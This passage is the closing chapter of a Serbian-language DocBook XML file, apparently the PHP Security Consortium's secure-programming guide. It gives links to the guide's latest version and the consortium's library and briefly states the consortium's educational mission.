možete naći najnoviju verziju vodiča na
<systemitem role="url">http://phpsec.org/projects/guide/</systemitem>.</para>
</sect1>

<sect1 id="ABOUT-THE-PHP-SECURITY-CONSORTIUM">
<title>O Konzorcijumu za PHP bezbednost</title>
<para>Misija Konzorcijuma za PHP bezbednost (PHP Security Consortium - PHPSC) je promocija prakse
bezbednog programiranja unutar PHP zajednice kroz edukaciju i izložbe
uz održavanje visokih etičkih standarda.</para>
<para>Saznajte više o Konzorcijumu na
<systemitem role="url">http://phpsec.org/</systemitem>.</para>
</sect1>

<sect1 id="MORE-INFORMATION">
<title>Dodatne informacije</title>
<para>Za dodatne informacije o praksama PHP bezbenosti, posetite Biblioteku Konzorcijuma na 
<systemitem role="url">http://phpsec.org/library/</systemitem>.</para>
</sect1>
</chapter>
</book>
